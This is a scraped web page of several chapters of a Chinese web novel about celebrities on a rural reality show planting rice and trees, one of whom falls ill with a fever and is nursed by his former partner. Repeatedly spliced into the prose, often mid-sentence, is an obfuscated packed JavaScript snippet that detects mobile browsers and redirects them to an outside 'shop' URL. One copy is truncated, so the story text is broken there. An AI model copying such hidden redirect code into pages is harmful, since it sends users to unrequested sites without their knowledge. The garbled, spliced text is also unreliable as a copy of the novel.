鸡跑完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513498|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没蛋吃,凉棚没顶万一吃一半下大雨就麻烦了。 不过这都不是目前最紧急的事儿,在樱花屋没有樱花币真是寸步难行。 杨清越开始cue流程:“走吧,我们去小卖部看看。” 谢雪婧带上地图,乐初白和林紫烟在看路线,秦琛走出去两步,又折返回来拿了几把伞。 距离不远,是节目组事先搭建的小房间,坐落在田埂边。 “樱花屋储备库,是这里吧。” “对,进去看看。” PD已经在里面等他们了,几人进来后环顾四周,一面墙前摆了四个货架,各种杂物都在上面。 旁边是大冰柜,另一侧墙壁放了保鲜柜,里面装满新鲜的瓜果蔬菜,其余空闲地方摆了大小家电。 林紫烟感叹道:“东西还挺齐全的。” 谢雪婧就近看了一眼保鲜柜里的大白菜,惊呼出声:“一颗白菜三个币?” “什么?!”杨清越瞬间炸起,不可置信地走到保鲜柜前,看着各类食材的标价,顿时目瞪口呆。 他又扭过头看向PD:“你们是土匪吗?无奸不商啊,搞垄断也不能这么定价吧!” PD摊手。 “没事儿,我们地里有白菜。”乐初白安慰道。 谢雪婧:“对哦,我们不买他们的,太吓人了。” 杨清越对PD道:“你可不许放猪拱我们白菜啊,那是我们的资产。” PD:“……” 将小卖部逛了一圈,五个人从最初见到小卖部的喜悦,到了解物价后的呆滞,极具戏剧性,最后托腮坐在门口,看起来没有一个人的灵魂是全的。 谢雪婧:“我不敢相信,这年头物价会这么离谱。” 林紫烟:“冰箱五个币,燃气灶十个币,三轮车十个……” 杨清越:“哈哈一步一个脚印,原来是一步一个坑,檬果台你把我害惨了。” 秦琛:“生存和生活好像都把我们排除在外了。” 乐初白:“我们插秧去吧。” 其余四人:“?” 这就开始了?他们还没难过完呢。 “我早上看到了这块地,不算大,两个人干一天是可以种完的,我们人多,进度会快一点,一天就可以拿到二十个樱花币。” 乐初白看着地图,认真地做着生存攻略:“明天可以种樱花树,但我们要去先去千里湖的渡口运树苗,所以今天要把三轮车买了,剩下的十个币用来买食物。” 秦琛坐在他旁边,靠近看了看地图:“一棵树一个币,那为什么一株秧苗不能是一个币?” PD:“……” 乐初白哑然片刻,转过头看他:“那插完秧,节目录制也可以结束。” 秦琛:“?” 杨清越解释道:“种满这块地,要几千株秧苗。” 没见识的大少爷闭嘴了。 林紫烟站起身:“行了,不浪费时间了,回去换个水鞋,咱下田去。” 大家纷纷起身,乐初白还坐在原地,将地图折好才递给谢雪婧。 正要起身,还没收回的胳膊却突然被人抓住,一股向上的力直接将他从地上拽了起来。 覆上来的手不温不凉,乐初白愣神之际,秦琛已经松开了他。 11. 插秧 秦琛踩进稻田的第一脚,是想转身回田埂上的。 虽然穿了水鞋,但是湿软的泥土还是让他觉得奇怪,像是在慢慢陷进去。 插秧免不了弄一身泥,衣服脏了没关系,他的脸不要脏就行。 穿水鞋还要把裤腿掖进去鞋筒子里,显得腿短了一截。 早上花了十几分钟吹好的头发,现在被草帽遮得严严实实,也不知道拍出来好不好看。 大少爷在这边想着自己上镜的美貌,乐初白已经在另一边规划如何快速插秧。 入眼的大片田野被分割成几块,其他的稻田已经整齐地插满了秧苗,他们脚下的是最后一块。 插秧是件需要耐心和细心的工作,当然更重要的是体力。 节目组大发善心,提前犁好了地,育秧盘放置在田埂上,初略一看,近四十盘。 杨清越在看到摆了数米长的育秧盘时,心理已经受到了重创。 “可以的,问题不大,争取在晚饭前种完。”乐初白道。 “真的可以吗?”杨清越道,“我都不敢细数有多少。” 乐初白在田埂间找了根木棍:“插秧要注意每株秧苗的距离,我先画上线,大家照着插秧苗,这样整齐一点。” “我帮你。”杨清越也跑去找树枝。 二人从稻田的两端开始划线,杨清越问:“要多宽啊,初白。” 乐初白:“行距保持在25厘米,杨老师用手掌比一下,多出一截就差不多了。” 在泥地里划线可不是件简单的事,稻田泥泞难走,要多费点力气。 他们二人一边划着线,秦琛和谢雪婧分别抱了一盘秧苗下田,跟着他们的线往下插秧。 “插秧有讲究吗?”谢雪婧问。 乐初白道:“穴距15厘米,深度2厘米左右,分三到五株苗出来了插上就行。” “明白了。” 这边有“名师”指导,谢雪婧插秧速度直线上升。 反观另一边的“杨秦”组合,还在吵吵闹闹。 “杨老师,你的线划歪了。” “歪了吗?”杨清越站直身体,往前看了看,“是你的秧苗插歪了吧?” “……” 毕竟不是人工直尺,没有歪得过分就行,乐初白手稳脚稳,很快就划完了大半块地。 林紫烟膝盖不好,没法下田,于是干了搬运育秧盘的工作,省得他们走上走下。 四个人一人一条线,齐齐弯着腰,手脚不停地插秧。 临近中午,林紫烟先回樱花屋准备午饭。 日头逐渐升高,晨间还是早春的清凉,此刻像是进入初夏,阳光照到背上,隐隐发烫。 上大学的时候,乐初白跟着外公种过田,整套流程他都很熟悉,在四人里遥遥领先。 时间一点点过去,秦琛站起来活动了一下腰和脖子,看向对面。 本来是没忍住想看一眼乐初白,结果发现乐初白明明比他晚开始,但现在进度却比他快了一倍,顿时胜负欲起来了。 杨清越也停下来喘口气,回头看了看,和同样在休息的谢雪婧对上了视线。 此刻,大家都在恢复体力,只有乐初白像不会累的机器人,始终没有停下动作。 “初白,歇一歇吧。”杨清越喊道。 乐初白抬起头,对他笑了笑:“没事儿。” 然后继续插秧。 秦琛看着他,不自觉皱了眉头,他是不是忘记了自己的感冒还没好,这么不顾身体地干活儿。 终于到了中午,几人回去吃了午饭,休息了两小时,又返回了稻田。 这次只有他们三个男人去,谢雪婧和林紫烟留在家里修鸡舍。 早上乐初白一个人差不多干了两个人的量,经过早上的尝试,杨清越和秦琛也熟练了,剩下的秧苗估计在日落前就能全部种完。 种田的时间太过无聊,不过乐初白还挺享受这样安安静静干活时刻。 但秦琛就不是,种地也要拉着人说话。 他和杨清越进度一样,走到哪都在一块儿,叽叽喳喳地没有停过。 时不时就嚎一句“好累”,乐初白默默摇头,心道,力气都花在玩闹上了,可不得累。 乐初白又种完一盘,直起身缓缓酸胀的腰背,正要去拿新的秧苗,忽然听到身后传来一声尖叫。 “啊——” 秦琛? 乐初白一下子回过头,只见杨清越屁股着地跌坐在地里,秦琛站在那里,举着手有些无措。 这是打起来了? “怎么了?”乐初白快步走过去,费了点力气先把杨清越从泥里拽起来。 杨清越站定后,讪讪道:“左脚绊右脚了,还好是在泥地里,不然屁股要摔裂了。” “没事就好。”乐初白又扭头问叫得最大声的那个,“秦老师……” 他上下打量着秦琛,没发现什么异样,犹豫地问:“你哪里受伤了?” 秦琛瞳孔睁大,沾满泥的手在脸侧要碰不碰的,眼神似乎都涣散了,声音有些颤抖地说:“我的脸……” 于是乐初白往他脸上看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513499|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了好看还是好看,没看出哪里伤到了:“什么?” 秦琛惊呼:“沾到泥了!” 乐初白:“……” 杨清越摔倒时,秦琛本是眼疾手快凑过去要扶住他,结果人没扶到,反而被溅起的泥点子沾了一身。 乐初白真要被这花孔雀无语死了,脸脏了擦一下就没了,或许他还记得自己身上穿的是品牌当季新品吗,心疼衣服都比心疼脸蛋重要吧! “真是……”乐初白想忍但忍不住了,抬手就往秦琛脸上抹了一道泥印。 秦琛:“?!” “哈哈哈哈哈哈。”杨清越在一旁乐得大笑,看到秦琛震惊中还夹杂着委屈的表情,莫名生出一股父爱,双手捧着他的脸,哄道,“哎呦没事儿,我们小秦脏了也是最漂亮的。” 这下好了,整张脸都没得看了。 秦琛彻底僵住了。 干完坏事儿的两个人结伴去取秧苗,留下秦琛蹲在地上,悲愤地画圈圈诅咒他们。 因着抹脏脏的仇,接下来的时间里,秦琛不再和杨清越天下第一好了,自己埋头苦干,哼哧哼哧地插秧。 杨清越深感意外,被他感染得也加快进度。 最终在下午五点半,三个人插完了所有秧苗。 看着空空的育秧盘和齐齐整整的稻田,随风飘摇的秧苗,随着时间的推进,慢慢拔高长穗子,到了秋天,这一整片都会是金灿灿的稻谷,成就感油然而生。 拖着疲惫且脏兮兮的身体回到樱花屋,秦琛连水都没喝一口,直奔压水井。 谢雪婧刚把小鸡都赶回鸡舍,见状马上跑过来:“秦老师,我帮你压水。” “谢了。” 林紫烟提前泡了柠檬水,给他们一人倒了一杯。 “太棒了你们,这么快就种完了,辛苦了。” 杨清越一口气喝完了一杯,脸上汗涔涔的,随意地摆摆手:“这点小事,我一个人都能干完。” “你种得还没我多。”秦琛的声音幽幽传来。 杨清越:“……” 他端着杯子,喂到秦琛嘴边,道:“喝了就不许说话了。” 秦琛洗干净了脸和手,还是感觉身上脏脏的,于是先上楼去洗澡,没有和他们去小卖部换食材。 节目组专门定制的樱花形状的钱币,数了二十个装进玻璃罐里给到他们。 按照早上的计划,用十个币换了三轮车,剩下的换了明天的食物,满载而归。 于是樱花币只走了个形式,从玻璃罐里又全部倒回了节目组的钱箱子里。 12. 放松 秦琛恢复到了早上光彩照人的模样,自觉地坐在灶膛前烧火。 洗完澡后的秦琛带着一股天然的慵懒,微湿的刘海遮住额头,看起来比白天乖多了。 今晚的伙食跟昨天比起来好得不是一星半点儿,大家出乎意料的达成一致,完全没有攒点樱花币以备不时之需的想法,全拿来买肉了。 大灶基本是乐初白的地盘,除了他还真没有人能驾驭。 谢雪婧在一旁打下手,帮他拿配菜调料。 很快一道简单的虎皮青椒出锅,乐初白清洗干净大锅,准备做下一道。 秦琛伸长脖子往锅里看,问道:“现在是要做什么?” “红烧排骨。”乐初白答道,慢慢炒着糖色。 焯过水的排骨下锅,烟雾弥漫,听着滋滋声都能预想到染上琥珀糖色的排骨有多诱人。 秦琛一边看火一边做着思想斗争。 在不吃排骨和多跑十公里中,果断选择了后者。 拍营业图又能怎样,他很相信时暮找角度的眼光和p图技术。 今天大家都累得慌,坐在凉棚里慢慢吃着晚饭,几乎吃到放空,连聊天都提不起劲儿。 晚饭过后,几个人聚在客厅打扑克。 杨清越和乐初白去洗澡,秦琛在扑克场上大杀四方。 谢雪婧是初学者,输得最惨,等杨清越从浴室出来,马上把他拉过来顶位。 “不行了,再打下去我的心都要碎了。” 杨清越捂着脖子:“等等,让我缓缓,怎么洗了个澡,反而腰更酸脖子更痛了呢?” 秦琛:“我带了筋膜枪,要不要打一下?” 杨清越眼神一亮:“哦?可以可以,先救救我,不然我明早可能就散架了。” 于是夜间扑克活动,变成了筋膜枪按摩活动。 四个人互相给对方打了一遍,身体轻松不少,人也乏了,互道晚安后就各回各屋了。 秦琛上楼,推开门见乐初白已经躺在床上,没有睡,听到他开门的声音就扭头望了过来。 “要不要用一下?”秦琛举起筋膜枪,问道。 乐初白迟钝地摇摇头。 秦琛没理会,径自走到他床边,低垂着眼睛,沉声道:“趴好。” 乐初白愣了愣,定定地看着秦琛,没有动,忽地有些不好意思地移开了视线。 “不用,我困了。” 秦琛:“你睡你的,你现在不放松一下,明早起来肯定痛。” 秦琛的坚持总爱放在一些不必要的地方,比如以前为了给乐初白煮出一碗不破皮的汤圆,自己吃了十几个露馅儿汤圆,又比如现在执着地要给他打筋膜枪。 今天确实消耗了太多力气,入夜了脑袋就有些胀痛,现在也不在和秦琛因为这点事儿多费口舌。 他转过身,趴在枕头上。 乐初白的腰很敏感,别人碰到总会不自觉闪躲,方才因为翻身,腰间的睡衣往上跑了一点,秦琛只是捏住了衣角想帮他拉下来,并没有触碰到他,乐初白都微微颤了颤。 他的身体有些紧绷,秦琛伸手覆上他的肩背,轻轻地捏了捏,低声说:“放松点。” 乐初白:“……” 秦琛单腿跪在床边,稍稍弯腰,将筋膜枪调到最低档,慢慢地贴上乐初白的后背。 乐初白身上哪里有痒痒肉、哪里敏感,秦琛都一清二楚,贸然地先碰腰,他绝对会弹开,需要从后背轻轻抚摸下去,让他有所准备。 这一段节目组一定会播出去,俩人都默契地不说话,房间里只有筋膜枪运作的嗡嗡声。 二人平时都有健身,今天的运动量对他们来说也在能承受的范围内,但事后不做放松,可能会造成肌肉酸痛、运动损伤等。 秦琛认真地给乐初白按摩放松,从头到脚都打了一遍。 “好了。” 他关掉机器,偏头去看乐初白,才发现他已经睡着了。 今天听PD说他六点钟就起来了,中午也没有时间午睡,又种了一下午的地,还要在镜头前保持好状态…… 秦琛拿着筋膜枪,想给自己的刚才出力的右手按摩一下,想了想又放下了。 乐初白睡眠浅,不喜欢有声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513500|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音。 * 半夜,本来应该是万籁俱寂的时候,秦琛半梦半醒间,却听见了异声。 不是外面飞鸟或蝉虫发出的声音,也不是风吹树叶或下雨的自然声,听起来像是……呕吐声? 想着想着倒是清醒了一些,睁开眼往旁边看了看,虽然房间内的光线亮度看不清太细致的东西,但床铺上少了个人还是能看出来的。 秦琛猛地坐起来,大脑供血一时没跟上,头晕了片刻,缓过来后他的睡意也没了大半,直接掀被子下床。 卫生间的门缝透出白色的光,秦琛走过去,门并没有完全关严,流水声可以听得很清晰。 他试着推开门。 里面的人似乎没注意到他,眼睛几乎是闭着的,一手撑着洗漱台,一手握着水杯,低头漱口。 秦琛安静地站在门边,看乐初白用清水漱完口,又拿过漱口水。 等他做完全部,转过身时,终于发现了秦琛。 “你……”乐初白话还没说出口,眩晕的感觉又席卷上来,他有些站不稳,踉跄了两步,借着洗漱台撑住了自己。 与此同时,撑住他的还有秦琛。 秦琛的手触及乐初白的手臂,有一层衣物的阻隔,并没有觉察到什么。 他看着乐初白的脸色,依据以往的经验,试着伸手要碰乐初白的额头,却被他拂开了。 “你起来上厕所吗?”乐初白声音很轻,几乎用的是气音,听起来虚弱无力,“我先出去了。” 他说着就要绕开秦琛往外走,秦琛一把抓住他的手腕:“你发烧了。” 乐初白说:“我知道。” “带药了吗?” “我会吃的。” “体温计呢?” “我会测的。” 秦琛沉沉地看着他,乐初白动了动被抓着的手,想让秦琛放开他。 “以前你发烧,都是让我……” 剩下的话被乐初白蹙着眉冷淡地打断:“现在不是以前。” 他用了点力把手腕从秦琛手里抽出来,扶着墙出了卫生间。 13. 发烧 秦琛马上跟了出来,在一旁扶着他。 乐初白侧身想躲,秦琛却是更加用力的握住他的肩膀,语气硬邦邦地说:“外面摄像头在拍,表面功夫做一下。” “……” 乐初白脱力到几乎站不住,没再挣扎,几乎将全身的重量压到秦琛身上。 短短几步路愣是挪了半分钟,要不是眼下场合不对,秦琛真想直接将乐初白打横抱起,放到床上。 乐初白的小药箱一直搁在桌上没有收起,秦琛在里面翻出了体温计和退烧药放到床头边的木桌上,发现之前乐初白带上来的杯子里的水早就凉透了。 把体温计给了乐初白,秦琛拿过搪瓷杯,道:“我下楼倒水。” 楼下的人还在熟睡中,秦琛努力降低声音,踩着木制楼梯的脚都像单独开了二倍慢速,一步一步下了楼。 拿起客厅桌上上的暖瓶正要拔掉塞子,又感觉暖瓶有些轻,晃了晃,没有一点水声。 屋漏偏逢连夜雨,秦琛捎上暖瓶,去厨房烧水。 更深露重,月亮高悬,推开门就是一股凉飕飕的夜风,空气中还带着湿意。 导演组的监控室亮着灯,守夜的工作人员正在屋外溜达让自己清醒清醒,见秦琛推门出来,有些意外地止住了脚步。 “秦老师?” “你好。”秦琛朝她打了个招呼,往另一边的厨房走去。 等待水烧开的时间里,秦琛走到监控室前,问道:“老师,有退烧贴吗?” 工作人员愣了愣,随后回道:“有的,我去找找。” 秦琛跟着她走进监控室,在数块屏幕中找到了他和乐初白的房间。 房间里的人一动不动地躺着,背对着摄像机,因为身体发热的缘故,还把被子掀开了大半。 “秦老师,退烧贴。”工作人员递过来一个盒子,又问道,“是乐老师发烧了?” “嗯。” “需要我们上去看看吗?” 秦琛:“不用,他不喜欢太多人注意到他生病。” 工作人员就是着急也不好违背艺人的意愿,只好作罢,道:”那好吧,老师们如果有什么需要,随时跟我们说。” “现在就有。”秦琛拿着退烧贴的盒子,敲了敲桌面。 “老师请说。” 秦琛看向她,露出一个和善的笑:“把我们房间的设备都关掉,明早再开。” “哦哦,我现在关掉。” “谢了。” 秦琛带着退烧贴走出监控室,工作人员在他身后喊道:“秦老师,下次出来记得穿件外套,溪源晚上很冷的。” 她不说,秦琛还没意识到自己穿了睡衣就下来了,虽说里面有一件保暖里衣,但要抵御十度左右的气温,还是很勉强。 热水烧开了,秦琛分装了两个暖瓶,一个依旧留在客厅,带着另一个暖瓶和一瓶矿泉水上了楼。 考虑到乐初白的状态,屋里没有开大灯,光源来自床头的小夜灯。 温和的橙黄色,不过分明亮,柔而松缓。 秦琛关上门,兑了一杯温水,走到乐初白床边坐下。 “体温计给我看看。” 乐初白动作迟缓地递给他。 秦琛在光下定睛看了看,接近39度。 他沉默了两秒,而后道:“要不去医院吧?” 乐初白虚弱地说:“药。” “好,走,我让节目组准备车。”秦琛说着就要将他扶起。 “我说……”乐初白扯着他的衣袖,声音有些哑,“给我退烧药。” “……” 见乐初白强撑着要坐起身,秦琛条件反射一般,换了个坐姿,扶起他靠在自己怀里。 那个瞬间,明显感觉到怀中的人僵硬了片刻。 其实他也有点愣,他们的关系早已不适合再做这些事,再这样亲密。 乐初白尚且还有意识:“摄像机……” “我让他们关了。” 乐初白抬头想看他,可脑子昏沉沉的,眼睛干涩,看什么都是重影。 秦琛一手揽着他,一手拿过退烧药,抽出一板,看完药盒上的说明后,单手掰了一粒胶囊出来。 他把胶囊放到乐初白手上,伸手要去拿杯子。 乐初白把他的手从肩头推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他再度探身,却在即将贴上乐初白的唇时又停了下来。 算趁虚而入吗? 沉思过后,秦琛退而求其次,在退烧贴上轻轻地落下一个吻。 14. 脾气 这一晚谁都没有睡好,秦琛每隔一段时间就会莫名醒来,伸手去探探乐初白脸上的温度。 又一次转醒,窗帘缝隙已经透进了白色的天光,秦琛拿过手机点亮,屏幕显示现在是六点四十分。 其实很困,但睡也睡不好,索性睁着眼躺着发呆。 他翻了个身,瞬间怔了一下。 乐初白不知道什么时候醒了,此时正盯着他看。 不知道是没精神还是在发呆,他的眼睛似乎没聚集,像是放空了。 秦琛伸出手在他眼前晃了晃。 “你睡糊涂了?”乐初白幽幽开口。 “……”秦琛尴尬地放下手,“干嘛一直看我?” “懒得翻身。”乐初白又闭上了眼睛。 他很长一段时间没有这样贪懒地睡过觉了,每天的行程排的满满当当,没有工作还会自己出去上表演课台词课,总觉得闲下来是在犯罪。 认真来说,今天不算没有工作,只是这里的环境让人太松弛了,不用急匆匆地赶进度,没有规定下一步要做什么,连平日里最遵守秩序的人,此时也会想偷懒。 秦琛坐起身:“先别睡,测下体温。” 他一手撑着床,向前探身,直接越过乐初白,伸手手臂去够床头木桌上的体温计。 乐初白睁开眼的瞬间,眼前覆上一层阴影,将窗外那点光都遮住了,熟悉的气息几乎将他笼罩。 大脑似乎某条神经抽动了一下,让他恍惚自己再一次被秦琛抱住,贪恋的情绪涌上来,他不受控制地抬起手,想要抓住秦琛的衣角。 然而秦琛已经取到体温计坐回了原位,乐初白的手落了空,便默默地转了方向,抽走了秦琛手中的体温计。 隐约听见楼下有动静,猜测是有人起床了,秦琛也不坐在这里干等着,先行去洗漱。 等他出来时,就看见乐初白蹲在地上,在行李箱里翻找衣服,刘海用发箍梳起,额头上已经没有退烧贴的痕迹了。 秦琛皱着眉走过去,弯下腰,伸手贴上乐初白的额头,感受着皮肤传来的温度。 乐初白愣了愣,轻推开他的手,抬起头看他,说:“退烧了。” “这么快?”秦琛满脸的不信,“几度?” “37.5。” “低烧,谁说退了?” 乐初白抱着衣服起身,微微笑着说:“我们的录制时间都是固定好的,这一趟就是要录完两期的量,我不想因为我耽误大家的进度,也麻烦秦老师,不要把我发烧的事情告诉他们。” 他绕过秦琛往卫生间走,秦琛转过身,对着他的背影说:“首先,这个节目没有剧本规定哪一天一定要完成什么,就算今天你休息,我们也会商量着做什么,同样可以给节目组提供素材。” “其次,”秦琛走到他旁边,用手在他脸上脖子上都碰了碰,“我并不觉得你现在是低烧,和昨晚似乎没什么差别,跟人形暖宝宝一样,骗我是吧?” “……” 秦琛:“回去睡觉。” “不。”乐初白不理他,径自进了卫生间,重重地关上门。 秦琛先是被关门声吓了一跳,随后蓦地笑了一声,不是嘲讽也不是气的,而是碰见乐初白以来,第一次发自内心的愉悦。 又会闹脾气了,小不。 * 二人到厨房时,林紫烟已经在淘米准备煮早饭了,杨清越顶替了秦琛的位置,却是怎么也生不起火。 见到秦琛的时候仿佛见到了救星。 “小秦啊,这个火是不是只听你的话啊,报纸都给我烧完几张了,怎么就是着不起来呢。” “我来。”秦琛像巨星出场一般,整整衣服,帅气地摆手让杨清越起身让位,坐到自己的专属“王位”——小马扎上。 没想到有一天能轮到他这个物化生废柴给别人讲题,秦琛把柴火应该怎么架,点燃的报纸应该塞那里都教给了杨清越,最后摇摇头摆出一副深沉的面容,道:“杨老师以前没好好学化学啊。” 在一旁剥豆子的乐初白听完了全程:“……” 林紫烟调笑道:“小杨在这里苦恼了十分钟了,你们今天一起睡懒觉了,想找人问都问不到。” 乐初白刚要说话,林紫烟疑惑问道:“初白,你额头上贴的什么?退烧贴?” 林紫烟一句话,让乐初白成为了视觉焦点,谢雪婧和杨清越也凑了过来。 除了硬要让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513502|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴退烧贴的罪魁祸首,正在悠闲地烧火。 “你不贴,要是在外面晕倒了,我可能真的会把你抱回来,到时候被拍下来播出去,会有怎样的影响,我不保证。” 秦琛的话似乎还在耳边回荡,当时是他抓着乐初白的手把自己的刘海撩起来压住,然后往他额头上怼了个退烧贴,无法反抗。 乐初白并不习惯这种被人围着关心的场合,这也是他早晨叮嘱秦琛不要说出去的原因,没想到还是被发现了。 不争气的刘海。 “没什么,可能昨天有点儿着凉,低烧而已,不严重。”乐初白道。 “真的没事儿吗?去休息吧,这里我们来就行。” 杨清越:“你这衣服怎么这么薄,我去给你找件厚的换上。” 谢雪婧:“我带了退烧药,我去……” 乐初白拉住两个说着就要走的人,他果然是招架不住这种场面,无奈地说:“好啦,没那么脆弱,要是难受了,我一定会回去休息,真的。” “杨老师,你来看火吧。”秦琛起身,拉走乐初白,“乐老师跟我去摘点菜。” 秦琛把他从厨房里带出来,乐初白松了一口气,不着痕迹地抽出手,一边往菜地走一边问道:“秦老师想摘什么?” “……”秦琛怎么知道,他只是找了个由头把乐初白解救出来,看着一片绿油油的菜地,连菜的名字都叫不上来。 乐初白回头,看一眼他的表情就明白了,出于对他刚才伸出援手的感谢,乐初白微微笑道:“我教你认认蔬菜?” 秦琛为了让自己显得不那么无知,嘴硬道:“我基本都认识。” “哦,”乐初白指着油麦菜问道,“这是什么?” “嗯……”秦琛琢磨了半天,缓缓吐出两个字,“青菜。” 乐初白笑了,跟他科普道:“油麦。” 秦琛一愣,像是发现了新大陆:“你竟然会玩梗?!” 乐初白疑惑:“什么?” “这梗很老了,你冲浪也太慢了,看点新的吧。” 乐初白感觉自己在对牛弹琴,扶额道:“这是油麦菜,是菜名,不是梗。” “……”秦琛悻悻地闭嘴了。 15. 生物钟 今天的任务是搬树种树,几人吃过早饭,坐在院中讨论分工,一道声音从院外传来。 “嗨——有人吗——” 大家停下讨论,纷纷往声源处望去,杨清越眼尖,透过樱花林看到了小道上的人,马上起身去迎接。 “夏天!” 秦琛也站起,跟了过去:“罗夏天?” 罗夏天拖着箱子,跟他们挥挥手:“杨老师,师哥,你们好呀。” 杨清越去帮她提行李箱:“欢迎欢迎,快进来。” 罗夏天跟着他走进小院,和其他人一一打了招呼。 这里只有乐初白和她是第一次见,他如果没记错,罗夏天是秦琛一部待播剧的女主。 节目组请嘉宾不会是随意邀请的,除了请当红艺人来撑撑播放量,也有一些是带了作品来节目上宣传的。 猜的没错的话,这一期的播出时间,正好是秦琛新剧开播的时间段。 秦琛和罗夏天是二搭,还是戏剧学院的师兄妹,可谓是十分熟悉。 杨清越简单地跟罗夏天说了今天要做的事。 出发前,乐初白被秦琛推回房间,盯着他把药吃完了,又测了一次体温。 五分钟后,秦琛靠着桌沿,看着水银柱停留的位置,挑眉道:“真牛,恒温37.5。” 乐初白喝着水,不自然地移开了视线。 “你今天别又和昨天一样,那么拼命地干活,累倒了我真的会抱……” “咳!”乐初白用咳嗽声打断他的话,指了指别在衣领的收音麦,眼神警告他不要乱说话。 秦琛不爽地撇撇嘴,道:“反正你知道就行。” 他说完就要下楼,乐初白喊了他一声:“秦老师,你不换条方便干活的裤子吗?穿牛仔裤去种地?” 秦琛低头看了看自己的裤子,道:“不行啊,帅就完了。” “……你不嫌难受就行。” 昨晚买回三轮车后,杨清越学了一阵儿,就由他开车带着秦琛和罗夏天去渡口运树。 二人坐在后面的车斗里,杨清越带着安全帽,新手司机第一次上路,难免激动。 “抓稳了,我们出发!” 剩下三人步行到樱花种植区等他们。 千里湖。 雾气蒸腾,碧波涟漪,一眼望去几乎望不到边。 渡口的船停靠在岸,村民们背着背篓挑着担,正排队上船,去到对岸采购或销售自家的农副产品。 杨清越把车停在湖边的山道前,山坡上倒伏着一大片树苗,多到他想直接开车掉头回去。 “这是小树苗?都快有我人高了。”杨清越道。 秦琛率先跳下车斗,上前看了看,随便拎起一棵树苗掂量,却低估了它的重量,第一下竟然没有抓起来。 树苗看起来没什么分量,实则根球泥土厚实,一棵树苗的重量不亚于一个杠铃。 杨清越凑上前来,也挑了一棵,重得他险些跌到地上。 “我去,这树苗铁做的啊?是人能搬的吗?”杨清越回头冲跟拍的工作人员喊道,“导演组,这期节目录完给我报销医药费!” PD:“……” “杨老师,你帮夏天一起搬吧。” 秦琛说完,一手提一树苗,径自往三轮车边走。 杨清越和罗夏天看着他的背影,仿佛从他后背上看到了凭空生出来的红披风,迎风飘扬,像个救世主。 杨清越感叹,节目组找人真准,知道他是个废物,所以特意找来一个勤快有力的拯救他,太贴心了。 来来回回不知道搬多少趟,终于装满了一车,杨清越先送一批到种植区去。 秦琛坐在地上休息,偏头问罗夏天:“你要不要和杨老师先过去,换乐老师或者谢老师过来?” 罗夏天喝着水,摇摇头。 “你手都累得发抖了。” “休息一下就好了,”罗夏天道,“乐老师不是在发烧吗?雪婧一个小女孩,别让人家干这么重的活儿。” 秦琛:“说的你年纪多大似的。” 罗夏天:“你管呢。” 又运了一车树苗,感觉足够今天的种植量,杨清越带着罗夏天坐小三轮,秦琛独自走回去。 到达种植区时,地里已经有三棵栽好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513503|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大家分工合作,男生们负责挖坑运树,女生填土剪绳。 节目组的要求只是种树,秦琛又开始诡辩:“导演,不要求种多少棵吧?只要种了就可以解锁下一个板块是吗?” 导演组:“原则上是这样。” 